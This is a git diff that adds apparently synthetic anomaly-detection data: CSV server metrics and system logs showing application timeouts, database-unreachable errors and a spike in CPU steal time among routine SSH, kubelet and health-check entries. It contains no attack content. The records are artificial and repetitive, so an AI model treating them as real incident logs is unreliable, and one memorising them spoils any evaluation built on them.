+2025-07-15T14:36:35Z,16.74,45.91,16.94,1.13,0.9,0.45 +2025-07-15T14:36:40Z,27.95,46.78,27.3,1.0,0.9,0.43 +2025-07-15T14:36:45Z,24.35,40.17,34.8,1.36,1.98,0.5 +2025-07-15T14:36:50Z,19.96,45.12,17.8,1.16,1.25,0.5 +2025-07-15T14:36:55Z,15.95,42.26,25.37,0.66,1.24,0.32 +2025-07-15T14:37:00Z,19.66,46.45,32.55,0.57,1.78,0.41 +2025-07-15T14:37:05Z,19.88,41.74,29.82,1.14,1.94,0.48 +2025-07-15T14:37:10Z,25.94,46.91,28.94,0.53,1.98,0.44 +2025-07-15T14:37:15Z,24.56,43.87,29.05,1.09,1.7,0.2 +2025-07-15T14:37:20Z,28.31,49.37,22.19,1.44,1.25,0.28 +2025-07-15T14:37:25Z,22.08,41.38,20.87,1.08,0.9,0.15 diff --git a/anom_dataset/scenario_5/anom_5_26.log b/anom_dataset/scenario_5/anom_5_26.log new file mode 100644 index 0000000000000000000000000000000000000000..7dbd5ef59d33610c32d0d91315049ff508697175 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_26.log @@ -0,0 +1,73 @@ +Jul 15 14:30:00 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:30:05 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:30:12 systemd[1]: Started Session 10 of user app-user. +Jul 15 14:30:19 systemd[1]: Started Session 11 of user app-user. +Jul 15 14:30:24 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:30:31 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:30:35 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:30:39 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:30:47 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:30:55 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:31:02 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:31:08 systemd[1]: Started Session 12 of user app-user. +Jul 15 14:31:16 systemd[1]: Started Session 13 of user app-user. +Jul 15 14:31:19 systemd[1]: Started Session 14 of user app-user. +Jul 15 14:31:26 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:31:29 systemd[1]: Started Session 15 of user app-user. +Jul 15 14:31:32 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:31:40 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:31:49 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:31:52 systemd[1]: Started Session 16 of user app-user. +Jul 15 14:31:58 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:32:01 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:32:08 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:32:17 systemd[1]: Started Session 17 of user app-user. +Jul 15 14:32:23 systemd[1]: Started Session 18 of user app-user. +Jul 15 14:32:30 webapp[4567]: WARN: Application performance degradation detected, average response time increased to 4800ms. +Jul 15 14:32:35 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:32:44 webapp[4567]: WARN: High latency detected for database query 'SELECT * FROM users'. Duration: 6523ms +Jul 15 14:32:48 webapp[4567]: WARN: Application performance degradation detected, average response time increased to 4800ms. +Jul 15 14:32:57 nginx[3456]: GET /api/v1/process HTTP/1.1 504 Gateway Timeout +Jul 15 14:33:03 gunicorn[4567]: ERROR: Request to /api/v1/process failed, upstream service timed out. +Jul 15 14:33:06 webapp[4567]: WARN: High latency detected for database query 'SELECT * FROM users'. Duration: 6523ms +Jul 15 14:33:14 gunicorn[4567]: ERROR: Request to /api/v1/process failed, upstream service timed out. +Jul 15 14:33:21 gunicorn[4567]: CRITICAL: WORKER TIMEOUT (pid:8000) +Jul 15 14:33:25 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:33:29 webapp[4567]: WARN: High latency detected for database query 'SELECT * FROM users'. Duration: 6523ms +Jul 15 14:33:38 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:33:44 gunicorn[4567]: ERROR: Request to /api/v1/process failed, upstream service timed out. +Jul 15 14:33:51 webapp[4567]: WARN: High latency detected for database query 'SELECT * FROM users'. Duration: 6523ms +Jul 15 14:33:55 webapp[4567]: WARN: Application performance degradation detected, average response time increased to 4800ms. +Jul 15 14:34:02 gunicorn[4567]: ERROR: Request to /api/v1/process failed, upstream service timed out. +Jul 15 14:34:05 nginx[3456]: GET /api/v1/process HTTP/1.1 504 Gateway Timeout +Jul 15 14:34:13 gunicorn[4567]: CRITICAL: WORKER TIMEOUT (pid:8001) +Jul 15 14:34:21 gunicorn[4567]: ERROR: Request to /api/v1/process failed, upstream service timed out. +Jul 15 14:34:30 nginx[3456]: GET /api/v1/process HTTP/1.1 504 Gateway Timeout +Jul 15 14:34:36 systemd[1]: Started Session 19 of user app-user. +Jul 15 14:34:42 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:34:47 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:34:56 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:35:04 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:35:12 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:35:16 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:35:20 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:35:27 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:35:34 systemd[1]: Started Session 20 of user app-user. +Jul 15 14:35:42 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:35:47 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:35:50 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:35:53 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:36:02 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:36:06 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:36:14 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:36:23 nginx[3456]: GET /healthz HTTP/1.1 200 OK +Jul 15 14:36:30 sshd[2345]: Accepted publickey for app-user from 10.0.1.5 port 48922 ssh2 +Jul 15 14:36:35 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:36:43 systemd[1]: Started Session 21 of user app-user. +Jul 15 14:36:47 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:36:56 systemd[1]: Started Session 22 of user app-user. +Jul 15 14:37:02 systemd[1]: Started Session 23 of user app-user. +Jul 15 14:37:09 systemd[1]: Started Session 24 of user app-user. +Jul 15 14:37:15 kubelet[1122]: INFO routine sync completed for pod web-app-b7f +Jul 15 14:37:24 kubelet[1122]: INFO Liveness probe succeeded for pod api-gateway-c5a +Jul 15 14:37:27 kubelet[1122]: INFO routine sync completed for pod web-app-b7f diff --git a/anom_dataset/scenario_5/anom_5_27.csv b/anom_dataset/scenario_5/anom_5_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..d05e51360cf5083e54819a0405974267e0e7a848 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal,mem_usage,disk_io,net_in,net_out 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+2025-07-03T11:07:15Z,35.95,0.0,50.69,25.19,1.05,1.86 +2025-07-03T11:07:20Z,38.16,0.0,53.91,16.75,0.66,1.18 +2025-07-03T11:07:25Z,23.8,0.0,58.24,18.94,0.71,1.32 diff --git a/anom_dataset/scenario_5/anom_5_27.log b/anom_dataset/scenario_5/anom_5_27.log new file mode 100644 index 0000000000000000000000000000000000000000..f950cb343b889e65f3494ef67a0d99cb63f387a7 --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_27.log @@ -0,0 +1,134 @@ +Jul 03 11:00:01 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:02 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:08 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 59181 ssh2 +Jul 03 11:00:09 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:12 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:00:13 kubelet[2345]: INFO routine sync completed for pod web-app-a +Jul 03 11:00:17 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:00:23 kubelet[2345]: INFO routine sync completed for pod web-app-b +Jul 03 11:00:27 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:00:32 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:36 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:38 systemd[1]: Started Session 15 of user admin. +Jul 03 11:00:43 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:46 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:48 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 54265 ssh2 +Jul 03 11:00:51 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:00:52 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 57731 ssh2 +Jul 03 11:00:57 systemd[1]: Started Session 12 of user admin. +Jul 03 11:00:57 systemd[1]: Started Session 13 of user admin. +Jul 03 11:01:02 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:01:04 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:08 kubelet[2345]: INFO routine sync completed for pod web-app-a +Jul 03 11:01:14 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:01:14 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 56095 ssh2 +Jul 03 11:01:16 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:23 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:26 systemd[1]: Started Session 11 of user admin. +Jul 03 11:01:27 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 58642 ssh2 +Jul 03 11:01:34 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:37 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:01:41 systemd[1]: Started Session 17 of user admin. +Jul 03 11:01:43 systemd[1]: Started Session 19 of user admin. +Jul 03 11:01:48 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 59208 ssh2 +Jul 03 11:01:53 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:01:57 systemd[1]: Started Session 10 of user admin. +Jul 03 11:01:58 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 50951 ssh2 +Jul 03 11:02:01 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:01 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 58618 ssh2 +Jul 03 11:02:07 systemd[1]: Started Session 11 of user admin. +Jul 03 11:02:11 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:02:14 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:17 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:19 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:24 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 52310 ssh2 +Jul 03 11:02:28 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 58213 ssh2 +Jul 03 11:02:29 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:02:33 gunicorn[8897]: WARNING: Request to /api/v1/process took 6513ms, exceeding timeout of 3000ms +Jul 03 11:02:38 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:02:41 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:02:44 webapp[9123]: CRITICAL: Failed to process task: Timeout waiting for lock on resource 'user-session-123'. +Jul 03 11:02:49 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 50165 ssh2 +Jul 03 11:02:51 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:02:58 webapp[9123]: CRITICAL: Failed to process task: Timeout waiting for lock on resource 'user-session-123'. +Jul 03 11:03:04 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:03:06 webapp[9123]: CRITICAL: Failed to process task: Timeout waiting for lock on resource 'user-session-123'. +Jul 03 11:03:12 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:03:19 systemd[1]: Started Session 12 of user admin. +Jul 03 11:03:23 kernel: [182345.67] INFO: task python:9123 blocked for more than 12 seconds. +Jul 03 11:03:26 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:03:28 kernel: [182345.67] INFO: task python:9123 blocked for more than 12 seconds. +Jul 03 11:03:33 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:03:37 gunicorn[8897]: WARNING: Request to /api/v1/process took 6693ms, exceeding timeout of 3000ms +Jul 03 11:03:44 gunicorn[8897]: WARNING: Request to /api/v1/process took 3930ms, exceeding timeout of 3000ms +Jul 03 11:03:47 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:03:48 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:03:53 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:03:59 gunicorn[8897]: WARNING: Request to /api/v1/process took 5598ms, exceeding timeout of 3000ms +Jul 03 11:04:03 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:04:06 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 53725 ssh2 +Jul 03 11:04:09 kernel: [182345.67] INFO: task python:9123 blocked for more than 12 seconds. +Jul 03 11:04:11 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:04:14 kernel: [182345.67] INFO: task python:9123 blocked for more than 12 seconds. +Jul 03 11:04:16 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 55943 ssh2 +Jul 03 11:04:18 webapp[9123]: ERROR: Upstream service 'database-primary' is unreachable. Request timed out. +Jul 03 11:04:22 gunicorn[8897]: WARNING: Request to /api/v1/process took 4757ms, exceeding timeout of 3000ms +Jul 03 11:04:23 gunicorn[8897]: WARNING: Request to /api/v1/process took 5560ms, exceeding timeout of 3000ms +Jul 03 11:04:28 kubelet[2345]: INFO routine sync completed for pod web-app-a +Jul 03 11:04:29 webapp[9123]: CRITICAL: Failed to process task: Timeout waiting for lock on resource 'user-session-123'. +Jul 03 11:04:34 webapp[9123]: CRITICAL: Failed to process task: Timeout waiting for lock on resource 'user-session-123'. +Jul 03 11:04:37 gunicorn[8897]: WARNING: Request to /api/v1/process took 6211ms, exceeding timeout of 3000ms +Jul 03 11:04:38 systemd[1]: Started Session 10 of user admin. +Jul 03 11:04:44 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:04:46 kernel: [182345.67] INFO: task python:9123 blocked for more than 12 seconds. +Jul 03 11:04:49 systemd[1]: Started Session 18 of user admin. +Jul 03 11:04:51 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:04:54 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:04:59 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:04:59 nginx[1123]: upstream request timed out (110: Connection timed out) while reading response header from upstream, client: 10.0.2.15 +Jul 03 11:05:01 systemd[1]: Started Session 19 of user admin. +Jul 03 11:05:08 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:08 systemd[1]: Started Session 10 of user admin. +Jul 03 11:05:12 systemd[1]: Started Session 10 of user admin. +Jul 03 11:05:19 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:23 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:05:24 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 52784 ssh2 +Jul 03 11:05:27 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 54358 ssh2 +Jul 03 11:05:28 systemd[1]: Started Session 14 of user admin. +Jul 03 11:05:32 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:05:33 kubelet[2345]: INFO routine sync completed for pod web-app-a +Jul 03 11:05:36 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:05:39 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 51620 ssh2 +Jul 03 11:05:43 kubelet[2345]: INFO routine sync completed for pod web-app-b +Jul 03 11:05:46 systemd[1]: Started Session 19 of user admin. +Jul 03 11:05:48 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 53446 ssh2 +Jul 03 11:05:51 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:05:56 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 55752 ssh2 +Jul 03 11:06:01 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 53693 ssh2 +Jul 03 11:06:06 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:06:07 systemd[1]: Started Session 11 of user admin. +Jul 03 11:06:13 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:16 systemd[1]: Started Session 18 of user admin. +Jul 03 11:06:18 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:21 kubelet[2345]: INFO routine sync completed for pod web-app-a +Jul 03 11:06:24 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:27 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:06:33 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:36 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:38 systemd[1]: Started Session 15 of user admin. +Jul 03 11:06:41 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:44 systemd[1]: Started Session 19 of user admin. +Jul 03 11:06:47 systemd[1]: Started Session 20 of user admin. +Jul 03 11:06:49 systemd[1]: Started Session 10 of user admin. +Jul 03 11:06:51 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:06:53 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:06:56 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 59219 ssh2 +Jul 03 11:06:58 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:07:01 kubelet[2345]: INFO routine sync completed for pod web-app-c +Jul 03 11:07:01 systemd[1]: Started Session 17 of user admin. +Jul 03 11:07:06 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:07:11 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 50750 ssh2 +Jul 03 11:07:19 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:07:21 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 11:07:23 sshd[10234]: Accepted publickey for admin from 10.0.2.15 port 58862 ssh2 +Jul 03 11:07:29 kubelet[2345]: INFO routine sync completed for pod web-app-a diff --git a/anom_dataset/scenario_5/anom_5_28.csv b/anom_dataset/scenario_5/anom_5_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..7229bed1e715fffd0ab4e552a7b1b96ad4f4d37e --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,cpu_steal_time,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.62,0.0,44.91,26.99,1.38,1.52 +2025-07-02T10:00:05Z,19.91,0.0,45.58,26.86,1.42,1.28 +2025-07-02T10:00:10Z,15.61,0.0,42.89,31.44,0.88,1.03 +2025-07-02T10:00:15Z,21.54,0.0,42.26,30.67,0.77,1.64 +2025-07-02T10:00:20Z,19.97,0.0,45.37,35.4,0.67,1.79 +2025-07-02T10:00:25Z,15.79,0.0,48.48,27.26,1.24,1.25 +2025-07-02T10:00:30Z,21.23,0.0,44.54,22.26,0.77,0.88 +2025-07-02T10:00:35Z,23.42,0.0,48.5,26.11,0.74,1.01 +2025-07-02T10:00:40Z,21.47,0.0,40.35,22.76,0.78,1.22 +2025-07-02T10:00:45Z,20.64,0.0,44.23,30.06,0.78,0.91 +2025-07-02T10:00:50Z,15.89,0.0,43.92,26.03,1.36,1.35 +2025-07-02T10:00:55Z,21.79,0.0,49.11,24.1,0.98,1.72 +2025-07-02T10:01:00Z,17.17,0.0,43.97,30.22,1.05,1.14 +2025-07-02T10:01:05Z,21.13,0.0,46.26,34.89,1.29,1.31 +2025-07-02T10:01:10Z,21.95,0.0,44.28,22.31,1.0,1.5 +2025-07-02T10:01:15Z,15.22,0.0,41.09,28.69,1.3,1.07 +2025-07-02T10:01:20Z,16.24,0.0,47.1,22.91,0.88,0.84 +2025-07-02T10:01:25Z,23.97,0.0,44.25,34.67,0.68,1.3 +2025-07-02T10:01:30Z,21.53,0.0,42.25,28.73,0.5,1.79 +2025-07-02T10:01:35Z,20.75,0.0,49.1,32.54,0.68,0.97 +2025-07-02T10:01:40Z,21.03,0.0,39.63,21.69,0.9,1.41 +2025-07-02T10:01:45Z,20.64,0.0,46.13,26.83,0.58,0.83 +2025-07-02T10:01:50Z,16.75,0.0,44.92,30.74,0.71,0.81 +2025-07-02T10:01:55Z,19.46,0.0,43.39,28.49,0.8,1.12 +2025-07-02T10:02:00Z,21.31,0.0,41.07,33.17,1.23,1.63 +2025-07-02T10:02:05Z,20.3,0.0,40.08,34.01,1.23,1.7 +2025-07-02T10:02:10Z,21.67,0.0,46.38,26.93,0.74,1.37 +2025-07-02T10:02:15Z,22.08,0.0,40.88,33.07,0.89,1.14 +2025-07-02T10:02:20Z,20.3,0.0,44.08,23.54,0.77,0.9 +2025-07-02T10:02:25Z,17.42,0.0,44.59,28.48,0.93,1.0 +2025-07-02T10:02:30Z,13.59,44.19,44.66,35.01,0.99,1.02 +2025-07-02T10:02:35Z,14.14,23.51,46.85,32.87,1.0,0.9 +2025-07-02T10:02:40Z,15.46,30.93,47.53,23.59,0.66,0.86 +2025-07-02T10:02:45Z,12.01,35.14,41.21,24.45,1.4,1.09 +2025-07-02T10:02:50Z,15.55,20.51,44.8,20.86,1.09,1.54 +2025-07-02T10:02:55Z,17.53,27.75,40.76,20.43,1.33,1.23 +2025-07-02T10:03:00Z,16.43,23.23,49.31,24.36,0.88,1.56 +2025-07-02T10:03:05Z,11.37,23.56,40.9,22.56,0.61,1.58 +2025-07-02T10:03:10Z,14.22,35.29,48.62,29.37,1.49,1.6 +2025-07-02T10:03:15Z,18.3,38.38,43.14,21.16,1.43,1.17 +2025-07-02T10:03:20Z,17.85,21.76,48.97,35.65,0.87,1.25 +2025-07-02T10:03:25Z,15.42,42.26,45.02,33.47,0.67,1.42 +2025-07-02T10:03:30Z,18.52,36.53,47.36,24.49,0.64,1.14 +2025-07-02T10:03:35Z,17.83,33.16,44.15,33.87,1.1,1.64 +2025-07-02T10:03:40Z,14.84,31.94,43.38,30.81,1.06,1.56 +2025-07-02T10:03:45Z,13.43,30.1,46.76,19.84,1.26,1.56 +2025-07-02T10:03:50Z,17.64,24.87,49.31,24.58,1.29,1.6 +2025-07-02T10:03:55Z,14.88,29.42,44.92,32.99,1.47,1.41 +2025-07-02T10:04:00Z,12.5,38.03,41.2,20.22,0.57,1.16 +2025-07-02T10:04:05Z,15.83,33.35,43.38,22.35,1.33,1.53 +2025-07-02T10:04:10Z,13.4,23.23,45.29,33.55,0.83,1.69 +2025-07-02T10:04:15Z,17.55,34.64,44.15,33.2,1.36,1.64 +2025-07-02T10:04:20Z,19.38,33.97,42.16,29.01,0.69,0.87 +2025-07-02T10:04:25Z,17.25,24.46,44.14,32.32,1.29,1.34 +2025-07-02T10:04:30Z,13.37,40.12,47.72,22.86,1.35,1.33 +2025-07-02T10:04:35Z,17.95,44.87,46.95,31.86,0.83,1.17 +2025-07-02T10:04:40Z,14.87,43.34,40.63,22.3,0.81,1.52 +2025-07-02T10:04:45Z,14.54,36.54,48.35,22.7,0.54,0.92 +2025-07-02T10:04:50Z,18.45,41.09,43.5,29.74,0.91,0.93 +2025-07-02T10:04:55Z,11.71,24.0,47.27,24.01,1.3,1.52 +2025-07-02T10:05:00Z,23.23,0.0,44.82,30.32,1.27,1.15 +2025-07-02T10:05:05Z,19.09,0.0,48.32,20.22,1.08,1.42 +2025-07-02T10:05:10Z,21.4,0.0,43.0,27.35,0.52,1.67 +2025-07-02T10:05:15Z,16.22,0.0,41.29,23.67,0.83,1.44 +2025-07-02T10:05:20Z,21.24,0.0,43.88,23.13,1.48,1.08 +2025-07-02T10:05:25Z,24.03,0.0,47.14,33.08,0.7,0.81 +2025-07-02T10:05:30Z,21.54,0.0,46.91,23.86,0.76,1.58 +2025-07-02T10:05:35Z,19.12,0.0,43.92,31.58,1.48,1.5 +2025-07-02T10:05:40Z,18.55,0.0,41.27,34.73,0.97,1.69 +2025-07-02T10:05:45Z,22.46,0.0,42.93,25.14,1.16,1.35 +2025-07-02T10:05:50Z,16.6,0.0,41.67,26.87,0.62,1.21 +2025-07-02T10:05:55Z,16.09,0.0,45.05,28.82,0.7,1.04 +2025-07-02T10:06:00Z,18.79,0.0,48.33,22.12,1.42,1.55 +2025-07-02T10:06:05Z,20.58,0.0,41.93,26.1,1.35,0.86 +2025-07-02T10:06:10Z,22.68,0.0,46.55,27.63,1.35,1.76 +2025-07-02T10:06:15Z,21.19,0.0,39.53,24.23,1.41,1.48 +2025-07-02T10:06:20Z,18.99,0.0,40.5,20.37,0.92,1.74 +2025-07-02T10:06:25Z,16.77,0.0,49.74,26.72,0.8,1.79 +2025-07-02T10:06:30Z,23.9,0.0,39.8,33.34,0.86,1.8 +2025-07-02T10:06:35Z,20.73,0.0,46.68,33.51,0.62,0.91 +2025-07-02T10:06:40Z,21.14,0.0,49.57,27.46,0.73,0.83 +2025-07-02T10:06:45Z,19.49,0.0,48.13,20.55,1.21,1.28 +2025-07-02T10:06:50Z,20.07,0.0,49.72,34.55,1.43,1.4 +2025-07-02T10:06:55Z,21.18,0.0,45.16,32.83,1.29,1.09 +2025-07-02T10:07:00Z,17.68,0.0,40.64,19.74,0.72,0.94 +2025-07-02T10:07:05Z,16.73,0.0,41.78,29.09,1.5,1.57 +2025-07-02T10:07:10Z,23.42,0.0,40.9,29.08,1.05,1.39 +2025-07-02T10:07:15Z,22.98,0.0,45.67,27.89,1.05,1.68 +2025-07-02T10:07:20Z,24.08,0.0,46.61,22.02,0.66,1.12 +2025-07-02T10:07:25Z,16.9,0.0,49.4,22.82,0.71,1.23 diff --git a/anom_dataset/scenario_5/anom_5_28.log b/anom_dataset/scenario_5/anom_5_28.log new file mode 100644 index 0000000000000000000000000000000000000000..1e6eacb3e316523bce917cc710fa747c9b8a413c --- /dev/null +++ b/anom_dataset/scenario_5/anom_5_28.log @@ -0,0 +1,183 @@ +Jul 02 10:00:01 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:00:01 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:00:02 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:00:05 INFO:payment-service:Transaction 'txn_123' completed. +Jul 02 10:00:11 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:00:12 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:00:13 DEBUG:product-service:Cache hit for product_id: 987 +Jul 02 10:00:15 systemd[1]:Started Session 31 of user ubuntu. +Jul 02 10:00:18 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:00:21 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:00:21 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:00:24 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:00:25 INFO:user-service:User 'alex' logged in successfully. +Jul 02 10:00:31 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:00:35 INFO:api-gateway:GET /api/v1/dashboard HTTP/1.1 200 OK +Jul 02 10:00:37 INFO:api-gateway:GET /api/v1/products HTTP/1.1 200 OK +Jul 02 10:00:37 sshd[10234]:Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:42 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:00:42 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 10:00:45 INFO:kubelet[2345]:routine sync completed for pod web-app +Jul 02 